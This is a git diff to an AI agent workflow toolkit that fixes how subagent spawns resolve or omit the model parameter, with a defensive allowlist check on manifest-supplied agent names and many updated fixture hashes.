diff --git a/.changeset/vivid-voles-jump.md b/.changeset/vivid-voles-jump.md new file mode 100644 index 000000000..b8a6fd853 --- /dev/null +++ b/.changeset/vivid-voles-jump.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 2710 +--- +**Codebase scan and ship-time capability hooks now honor your model settings** — /gsd:scan dispatched its mapper agent with a model placeholder nothing resolved, and ship-time capability hooks did the same, so `model_overrides` and `model_policy` were silently ignored at both and the agent ran on whatever the session happened to be using. Both now resolve a real model, and omit the model parameter entirely when it resolves to "inherit" or empty rather than passing an empty value that fails on non-Claude runtimes. Note: the scan mapper now runs on the model your profile selects rather than inheriting the session's. (#2684) diff --git a/gsd-core/references/model-profile-resolution.md b/gsd-core/references/model-profile-resolution.md index 08954738d..13afbb3ef 100644 --- a/gsd-core/references/model-profile-resolution.md +++ b/gsd-core/references/model-profile-resolution.md @@ -1,38 +1,89 @@ # Model Profile Resolution -Resolve model profile once at the start of orchestration, then use it for all Task spawns. +Resolve each agent's model through `gsd-tools`, then pass it to the `Agent()` spawn — or +omit the parameter entirely when nothing resolved. ## Resolution Pattern -```bash -MODEL_PROFILE=$(cat .planning/config.json 2>/dev/null | grep -o '"model_profile"[[:space:]]*:[[:space:]]*"[^"]*"' | grep -o '"[^"]*"$' | tr -d '"' || echo "balanced") +Prefer the field your workflow's own `init.*` payload already emits (every orchestrator +init that spawns subagents carries one — `mapper_model`, `planner_model`, +`executor_model`, `doc_writer_model`, …). Declare it in the workflow's parse line so the +binding is stated, not implied: + +``` +Parse JSON for: `mapper_model`, … ``` -Default: `balanced` if not set or config missing. +When the agent type is only known at runtime — a capability hook naming its own agent, for +example — resolve it directly instead: + +```bash +AGENT_MODEL=$(gsd_run query resolve-model "" --raw) +``` + +Both surfaces return the same thing: a model string for the active runtime, or the **empty +string** when nothing resolved. ## Lookup Table @~/.claude/gsd-core/references/model-profiles.md -Look up the agent in the table for the resolved profile. Pass the model parameter to Task calls: +## Passing the model to a spawn ``` -Task( +Agent( prompt="...", subagent_type="gsd-planner", - model="{resolved_model}" # "inherit", "sonnet", or "haiku" + model="{planner_model}" ) ``` -**Note:** Opus-tier agents resolve to `"inherit"` (not `"opus"`). This causes the agent to use the parent session's model, avoiding conflicts with organization policies that may block specific opus versions. +Substitute the field **this workflow bound** — never a generic placeholder name. -If `model_profile` is `"adaptive"`, agents resolve to role-based assignments (opus/sonnet/haiku based on agent type). +**#2517 — omit, do not emit an empty model.** When the resolved value is `"inherit"` or +empty, **omit the `model=` parameter entirely**: -If `model_profile` is `"inherit"`, all agents resolve to `"inherit"` (useful for OpenCode `/model`). +``` +Agent( + prompt="...", + subagent_type="gsd-planner" +) +``` + +No model parameter is passed at all — `planner_model` resolved to `"inherit"` or empty, and +omitting it inherits the orchestrator's model. Passing either value through as an argument +instead 404s on non-Claude runtimes. + +This is not cosmetic, and both values really occur. `model_profile: "inherit"` — and any +opus-tier agent — resolves to the literal string `"inherit"`. `resolve_model_ids: "omit"` +resolves to the **empty string** whenever the project sets it explicitly or the active +runtime has no native tier aliases; an agent type absent from the profile table takes that +same empty-string path, because it has no tier for the earlier steps to resolve. Emitting +either value verbatim fails the spawn on every runtime without native tier aliases. + +**#2684 — substitute a field your workflow actually bound.** `model="{…}"` must name a key +your own `init.*` payload emits, a shell variable you assigned, or a field on your declared +parse line. A placeholder that resolves to nothing does not fail loudly — the orchestrator +silently invents a value, which is the invisible partial application ADR-1411 prohibits. +`tests/model-omit-when-inherit-guard.test.cjs` enforces both rules. + +## Profile semantics + +**Note:** Opus-tier agents resolve to `"inherit"` (not `"opus"`). This causes the agent to +use the parent session's model, avoiding conflicts with organization policies that may +block specific opus versions — and, per the rule above, means the `model=` parameter is +omitted rather than set. + +If `model_profile` is `"adaptive"`, agents resolve to role-based assignments (opus/sonnet/ +haiku based on agent type). + +If `model_profile` is `"inherit"`, all agents resolve to `"inherit"` (useful for OpenCode +`/model`). ## Usage -1. Resolve once at orchestration start -2. Store the profile value -3. Look up each agent's model from the table when spawning -4. Pass model parameter to each Task call (values: `"inherit"`, `"sonnet"`, `"haiku"`) +1. Bind the model once — from the `init.*` payload field, or `query resolve-model` when the + agent type is runtime-determined +2. Declare the bound field on the workflow's parse line +3. Pass `model="{bound_field}"` on each `Agent()` spawn +4. Omit `model=` entirely whenever the bound value is `"inherit"` or empty diff --git a/gsd-core/workflows/scan.md b/gsd-core/workflows/scan.md index fb7487e27..a16494e2c 100644 --- a/gsd-core/workflows/scan.md +++ b/gsd-core/workflows/scan.md @@ -44,6 +44,8 @@ INIT=$(gsd_run query init.map-codebase 2>/dev/null || echo "{}") if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi ``` +Parse JSON for: `mapper_model`, `commit_docs`, `search_gitignored`, `parallelization`, `subagent_timeout`, `date`, `codebase_dir`, `existing_maps`, `has_maps`, `planning_exists`, `codebase_dir_exists`. + Look up which documents would be produced for the selected focus (from the mapping table above). For each target document, check if it already exists in `.planning/codebase/`: @@ -78,11 +80,13 @@ Print: `◆ Spawning scanner... (runs in a subagent — no output until it retur > **Runtime-aware dispatch (#2508 Phase 4).** GSD workflows dispatch specialized subagents by role. Before dispatching on a built-in-only runtime (kimi-code — three built-ins only), resolve the role to a built-in via `gsd_run query resolve-dispatch-type --requested --raw`. On named-dispatch runtimes (Claude/OpenCode/…) the role is returned unchanged; on kimi-code it maps to `coder`/`explore`/`plan` by role-suffix. The persona rides `${AGENT_SKILLS_}` (Phase 3) regardless. See @gsd-core/references/runtime-aware-dispatch.md. +**#2517 model resolution:** `mapper_model` is the field `init.map-codebase` emits (parsed in Step 2) — this is the same binding `map-codebase.md` uses. **Omit the `model=` parameter entirely when `mapper_model` is `"inherit"` or empty**; do NOT pass `model=""` or `model="inherit"`, which 404s on non-Claude runtimes. Omitting inherits the orchestrator's model. + ``` Agent( prompt="Scan this codebase with focus: {focus}. Write results to {codebase_dir}/. Produce only: {document_list}", subagent_type="gsd-codebase-mapper", - model="{resolved_model}" + model="{mapper_model}" ) ``` diff --git a/gsd-core/workflows/ship.md b/gsd-core/workflows/ship.md index d739c514c..3a8ed0cd4 100644 --- a/gsd-core/workflows/ship.md +++ b/gsd-core/workflows/ship.md @@ -483,7 +483,27 @@ Read the `activeHooks` array directly from `SHIP_POST_HOOKS_JSON` in-context (do > **Runtime-aware dispatch (#2508 Phase 4).** GSD workflows dispatch specialized subagents by role. Before dispatching on a built-in-only runtime (kimi-code — three built-ins only), resolve the role to a built-in via `gsd_run query resolve-dispatch-type --requested --raw`. On named-dispatch runtimes (Claude/OpenCode/…) the role is returned unchanged; on kimi-code it maps to `coder`/`explore`/`plan` by role-suffix. The persona rides `${AGENT_SKILLS_}` (Phase 3) regardless. See @gsd-core/references/runtime-aware-dispatch.md. - `Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.", model="{balanced_model}")` + **#2684 model resolution.** `init.phase-op` emits no model field, and `ref.agent` is only known at runtime, so resolve it per hook before dispatching. + + **Input validation (defense-in-depth) — do this IN-CONTEXT, before any shell use.** `ref.agent` originates in a capability manifest, which may be third-party. Check the value you read from `activeHooks` against `^[A-Za-z0-9][A-Za-z0-9._-]*$` yourself, the same way you read `activeHooks` itself — **never** by pasting it into a shell command to be tested there. A value carrying a quote, `;`, `` ` ``, `$(`, or a newline would terminate the assignment and run as its own statement *before* any shell-side check could execute, so a shell-side check is no protection at all. + + A value that fails the check is a malformed manifest: record a warning, **skip that hook entirely**, and move to the next `activeHooks` entry. Do not dispatch it and do not place it in a command line. + + Only once the value has passed, resolve its model — substituting the validated value for ``: + + ```bash + HOOK_AGENT_MODEL=$(gsd_run query resolve-model "" --raw 2>/dev/null || true) + ``` + + **#2517: omit the `model=` parameter entirely when `HOOK_AGENT_MODEL` is `inherit` or empty** — a capability may name an agent absent from the model-profile table, which resolves to the empty string, and passing an empty model 404s on non-Claude runtimes. Omitting inherits the orchestrator's model. + + With a resolved model (`{HOOK_AGENT_MODEL}` is the value the command above printed; `${…}` are bound shell variables): + + `Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.", model="{HOOK_AGENT_MODEL}")` + + When it resolved to `inherit` or empty, drop the parameter: + + `Agent(subagent_type=ref.agent, prompt="Ship-time capability hook for phase ${PHASE_NUMBER}. Phase dir: ${PHASE_DIR}. Consume: ${consumed_files}. Follow your agent instructions.")` - If `ref.skill` is set, dispatch with `Skill(skill="gsd-${ref.skill}", args="${PHASE_NUMBER} --auto ${GSD_WS}")` (prepend `gsd-` to `ref.skill`). Each dispatch is best-effort: if it errors, record a warning and continue — never re-raise (`onError: skip`). diff --git a/tests/fixtures/golden-install-parity/antigravity.json b/tests/fixtures/golden-install-parity/antigravity.json index f45c2591b..2ec206c45 100644 --- a/tests/fixtures/golden-install-parity/antigravity.json +++ b/tests/fixtures/golden-install-parity/antigravity.json @@ -104,7 +104,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "de81380316d8a37f", + "gsd-core/references/model-profile-resolution.md": "fc72060a71580bc6", "gsd-core/references/model-profiles.md": "6568ca29b6ee00d8", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "dff6b2a56a2946cd", @@ -302,13 +302,13 @@ "gsd-core/workflows/remove-workspace.md": "1058d1d3160eb120", "gsd-core/workflows/resume-project.md": "98e2cf8908e73a52", "gsd-core/workflows/review.md": "0c3c483764110a1c", - "gsd-core/workflows/scan.md": "46c5a73f6f682023", + "gsd-core/workflows/scan.md": "5230ac0e5f876f6d", "gsd-core/workflows/secure-phase.md": "9564c529052d1d36", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "6d25100a9de15b31", "gsd-core/workflows/settings-integrations.md": "e1fda52e8c9afa5f", "gsd-core/workflows/settings.md": "9b7e0a34f4f41a80", - "gsd-core/workflows/ship.md": "165bed31823086e0", + "gsd-core/workflows/ship.md": "668ea5179629e722", "gsd-core/workflows/sketch-wrap-up.md": "0f842a609851a401", "gsd-core/workflows/sketch.md": "c42d993c1e9a6240", "gsd-core/workflows/smart-entry.md": "6d887ca5d9df9185", diff --git a/tests/fixtures/golden-install-parity/augment.json b/tests/fixtures/golden-install-parity/augment.json index 641674578..e9f72688c 100644 --- a/tests/fixtures/golden-install-parity/augment.json +++ b/tests/fixtures/golden-install-parity/augment.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "5f5ebb6a80d610c6", "gsd-core/workflows/sketch.md": "efc5a794b4bd6e78", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/fixtures/golden-install-parity/claude-local.json b/tests/fixtures/golden-install-parity/claude-local.json index 54e2a5746..c065f328b 100644 --- a/tests/fixtures/golden-install-parity/claude-local.json +++ b/tests/fixtures/golden-install-parity/claude-local.json @@ -174,7 +174,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "18e7cfd4ba0ca9bc", + "gsd-core/references/model-profile-resolution.md": "c4ac0d783b10f282", "gsd-core/references/model-profiles.md": "c249163663bbea53", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "e483957e308f1022", @@ -372,13 +372,13 @@ "gsd-core/workflows/remove-workspace.md": "64b73daff58b9aec", "gsd-core/workflows/resume-project.md": "af9761bcec0f6fe9", "gsd-core/workflows/review.md": "73f78512f2c33aed", - "gsd-core/workflows/scan.md": "686e787d3704db90", + "gsd-core/workflows/scan.md": "4cb3b0e2736ebaaf", "gsd-core/workflows/secure-phase.md": "a7272ff8163a61ac", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "94d61da368e9f85b", "gsd-core/workflows/settings-integrations.md": "9e0108e01e78832c", "gsd-core/workflows/settings.md": "a1a35e58da33b23b", - "gsd-core/workflows/ship.md": "fc19b46dee6e0354", + "gsd-core/workflows/ship.md": "543ce4997a00999c", "gsd-core/workflows/sketch-wrap-up.md": "d52a5462bafda830", "gsd-core/workflows/sketch.md": "9bc12018344f8110", "gsd-core/workflows/smart-entry.md": "70445afde3a9ead6", diff --git a/tests/fixtures/golden-install-parity/claude.json b/tests/fixtures/golden-install-parity/claude.json index 8a2b4f1e8..1d6b177dc 100644 --- a/tests/fixtures/golden-install-parity/claude.json +++ b/tests/fixtures/golden-install-parity/claude.json @@ -103,7 +103,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "c249163663bbea53", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "8f98bc9d5956a004", @@ -301,13 +301,13 @@ "gsd-core/workflows/remove-workspace.md": "015cde237c75be39", "gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96", "gsd-core/workflows/review.md": "9f271477cf84c34b", - "gsd-core/workflows/scan.md": "a71e3009998cfc57", + "gsd-core/workflows/scan.md": "6b49ce7bcc615145", "gsd-core/workflows/secure-phase.md": "ba807b4862d7f3c9", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "339def28c34b0797", "gsd-core/workflows/settings-integrations.md": "9c9db643112b2371", "gsd-core/workflows/settings.md": "d3f05e22f21bfb3a", - "gsd-core/workflows/ship.md": "cb11a33217e0fc45", + "gsd-core/workflows/ship.md": "8fdad757ea7512f1", "gsd-core/workflows/sketch-wrap-up.md": "121ed4b8127abf04", "gsd-core/workflows/sketch.md": "ac7a5265c6970bdf", "gsd-core/workflows/smart-entry.md": "99c73236890605a1", diff --git a/tests/fixtures/golden-install-parity/cline.json b/tests/fixtures/golden-install-parity/cline.json index aa233a4c2..923b8db5d 100644 --- a/tests/fixtures/golden-install-parity/cline.json +++ b/tests/fixtures/golden-install-parity/cline.json @@ -107,7 +107,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "1794ad3d9854129e", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -305,13 +305,13 @@ "gsd-core/workflows/remove-workspace.md": "79d3669cc9eb0b10", "gsd-core/workflows/resume-project.md": "e23981178fa37b3d", "gsd-core/workflows/review.md": "9f7d0f99ed40205b", - "gsd-core/workflows/scan.md": "f0bd2f64f5530598", + "gsd-core/workflows/scan.md": "d54e06f1ae992358", "gsd-core/workflows/secure-phase.md": "1a2e389991fc6263", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "69f3a19bf2c61160", "gsd-core/workflows/settings-integrations.md": "a2682897e663fec4", "gsd-core/workflows/settings.md": "17a5de032a64eb22", - "gsd-core/workflows/ship.md": "9c0b622da71862f4", + "gsd-core/workflows/ship.md": "c95e39057dab8c51", "gsd-core/workflows/sketch-wrap-up.md": "1f44789553180d84", "gsd-core/workflows/sketch.md": "fadc2cbe6763c010", "gsd-core/workflows/smart-entry.md": "22ef18e897b67907", diff --git a/tests/fixtures/golden-install-parity/codebuddy.json b/tests/fixtures/golden-install-parity/codebuddy.json index d68c77e0b..680e71412 100644 --- a/tests/fixtures/golden-install-parity/codebuddy.json +++ b/tests/fixtures/golden-install-parity/codebuddy.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "2aba89ecd8f41a0d", "gsd-core/workflows/sketch.md": "2913d90416a3c0f0", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/fixtures/golden-install-parity/codex.json b/tests/fixtures/golden-install-parity/codex.json index 7bf44b59b..3d8b8b763 100644 --- a/tests/fixtures/golden-install-parity/codex.json +++ b/tests/fixtures/golden-install-parity/codex.json @@ -210,7 +210,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "11d144acecab34fb", "gsd-core/references/model-profiles.md": "bd90862f68007f2e", "gsd-core/references/mvp-concepts.md": "23201c8118fb074a", "gsd-core/references/offer-next.md": "449c021d2552df02", @@ -408,13 +408,13 @@ "gsd-core/workflows/remove-workspace.md": "d0160c5d05bcb2bb", "gsd-core/workflows/resume-project.md": "9965f87eb278f7f8", "gsd-core/workflows/review.md": "f2d0cf16167cb107", - "gsd-core/workflows/scan.md": "dcd6aac25ef39251", + "gsd-core/workflows/scan.md": "93da00ba119f3488", "gsd-core/workflows/secure-phase.md": "3ba89719288dd3f3", "gsd-core/workflows/session-report.md": "dd8fa011c9394075", "gsd-core/workflows/settings-advanced.md": "2431433811616f76", "gsd-core/workflows/settings-integrations.md": "d6d222af8690d09b", "gsd-core/workflows/settings.md": "3c8bd45b123b5db6", - "gsd-core/workflows/ship.md": "f2c6d7991e23623f", + "gsd-core/workflows/ship.md": "0a6314edbb01a345", "gsd-core/workflows/sketch-wrap-up.md": "07724a390fbb43f6", "gsd-core/workflows/sketch.md": "3f6ed885d2ee5528", "gsd-core/workflows/smart-entry.md": "2914f9d54d365931", diff --git a/tests/fixtures/golden-install-parity/copilot.json b/tests/fixtures/golden-install-parity/copilot.json index 54b2475e2..6f7f42387 100644 --- a/tests/fixtures/golden-install-parity/copilot.json +++ b/tests/fixtures/golden-install-parity/copilot.json @@ -105,7 +105,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "1d392e37a746742a", + "gsd-core/references/model-profile-resolution.md": "9f6dd88b2bc08921", "gsd-core/references/model-profiles.md": "6568ca29b6ee00d8", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "220b59815223d1b7", @@ -303,13 +303,13 @@ "gsd-core/workflows/remove-workspace.md": "e7e5b5b1e0cc9d81", "gsd-core/workflows/resume-project.md": "40db7f350f5866d8", "gsd-core/workflows/review.md": "09f390a2f11b40d3", - "gsd-core/workflows/scan.md": "76aad4e70281c364", + "gsd-core/workflows/scan.md": "485c6ed37c08042f", "gsd-core/workflows/secure-phase.md": "d60aa4053154e52f", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "230a658de9c017a6", "gsd-core/workflows/settings-integrations.md": "58acee11162b4a4e", "gsd-core/workflows/settings.md": "876e954acd64cb18", - "gsd-core/workflows/ship.md": "b523ad905d1e1f0d", + "gsd-core/workflows/ship.md": "f210f33e40b8990a", "gsd-core/workflows/sketch-wrap-up.md": "f2590cb6ddbfad94", "gsd-core/workflows/sketch.md": "9cbf5860b6a005e5", "gsd-core/workflows/smart-entry.md": "93f90cd7a12dbbc7", diff --git a/tests/fixtures/golden-install-parity/cursor.json b/tests/fixtures/golden-install-parity/cursor.json index 64b54da0c..126f936dc 100644 --- a/tests/fixtures/golden-install-parity/cursor.json +++ b/tests/fixtures/golden-install-parity/cursor.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "5452b2e19e19f77e", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "1c9ae4014a95d269", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "0572a83d71650937", "gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96", "gsd-core/workflows/review.md": "907cf2747dfb833d", - "gsd-core/workflows/scan.md": "a71e3009998cfc57", + "gsd-core/workflows/scan.md": "6b49ce7bcc615145", "gsd-core/workflows/secure-phase.md": "b008216148d2afac", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "bf8ea69c8f7ae019", "gsd-core/workflows/settings-integrations.md": "37d4212d83664224", "gsd-core/workflows/settings.md": "f90f106a9490c7c9", - "gsd-core/workflows/ship.md": "9ed024a87a8cb7bc", + "gsd-core/workflows/ship.md": "253f80ad6e1bee08", "gsd-core/workflows/sketch-wrap-up.md": "5be73b7bdf96b539", "gsd-core/workflows/sketch.md": "64543e59b00637d4", "gsd-core/workflows/smart-entry.md": "fdc5113754223df8", diff --git a/tests/fixtures/golden-install-parity/hermes.json b/tests/fixtures/golden-install-parity/hermes.json index bda7da186..b68fabec7 100644 --- a/tests/fixtures/golden-install-parity/hermes.json +++ b/tests/fixtures/golden-install-parity/hermes.json @@ -104,7 +104,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "7135dd5d81246b0e", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "8a1267752a05af27", + "gsd-core/references/model-profile-resolution.md": "a3fc0f81fbb5121d", "gsd-core/references/model-profiles.md": "6012c3b53473f04f", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "8f98bc9d5956a004", @@ -302,13 +302,13 @@ "gsd-core/workflows/remove-workspace.md": "42029a7559f1d8fb", "gsd-core/workflows/resume-project.md": "a0443839f1f83c2d", "gsd-core/workflows/review.md": "272f7d8befd51657", - "gsd-core/workflows/scan.md": "5c2370d6a8118b6c", + "gsd-core/workflows/scan.md": "b04522820db04e51", "gsd-core/workflows/secure-phase.md": "c087131f1dd12901", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "49be159144d7f426", "gsd-core/workflows/settings-integrations.md": "75405795c8462a8a", "gsd-core/workflows/settings.md": "41c0f737bfd311fd", - "gsd-core/workflows/ship.md": "f89f774fe4a4ce7b", + "gsd-core/workflows/ship.md": "cfee017dc9a3d4e4", "gsd-core/workflows/sketch-wrap-up.md": "f1ece50ac65ea281", "gsd-core/workflows/sketch.md": "592283400d70317b", "gsd-core/workflows/smart-entry.md": "4dc50d4af659c651", diff --git a/tests/fixtures/golden-install-parity/kilo.json b/tests/fixtures/golden-install-parity/kilo.json index 0f7f93f0a..0e5f958ae 100644 --- a/tests/fixtures/golden-install-parity/kilo.json +++ b/tests/fixtures/golden-install-parity/kilo.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "11d144acecab34fb", "gsd-core/references/model-profiles.md": "6568ca29b6ee00d8", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "8f98bc9d5956a004", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "f5dc82bb63e2efa4", "gsd-core/workflows/resume-project.md": "7f8dc986f0f35d96", "gsd-core/workflows/review.md": "cb218a57c772a041", - "gsd-core/workflows/scan.md": "c039d3e40d26b606", + "gsd-core/workflows/scan.md": "e9e28d23375dfe10", "gsd-core/workflows/secure-phase.md": "5a8fbf603d218100", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "edd858cd6cfddaf1", "gsd-core/workflows/settings-integrations.md": "3ec4f77c421b87b4", "gsd-core/workflows/settings.md": "0e3cf91e952b48a2", - "gsd-core/workflows/ship.md": "02e8f7ae72c344e4", + "gsd-core/workflows/ship.md": "ab02688abfa65d9e", "gsd-core/workflows/sketch-wrap-up.md": "888c0548e63197b3", "gsd-core/workflows/sketch.md": "75ffbd233fd9a762", "gsd-core/workflows/smart-entry.md": "2ad5b63a9deea0ce", diff --git a/tests/fixtures/golden-install-parity/kimi-code.json b/tests/fixtures/golden-install-parity/kimi-code.json index 3554b71ff..1ba1596f7 100644 --- a/tests/fixtures/golden-install-parity/kimi-code.json +++ b/tests/fixtures/golden-install-parity/kimi-code.json @@ -133,7 +133,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -331,13 +331,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "b767a1d3db129a8a", "gsd-core/workflows/sketch.md": "5f0a7d3640cdff54", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/fixtures/golden-install-parity/kimi.json b/tests/fixtures/golden-install-parity/kimi.json index 0f92f5917..ae96d8182 100644 --- a/tests/fixtures/golden-install-parity/kimi.json +++ b/tests/fixtures/golden-install-parity/kimi.json 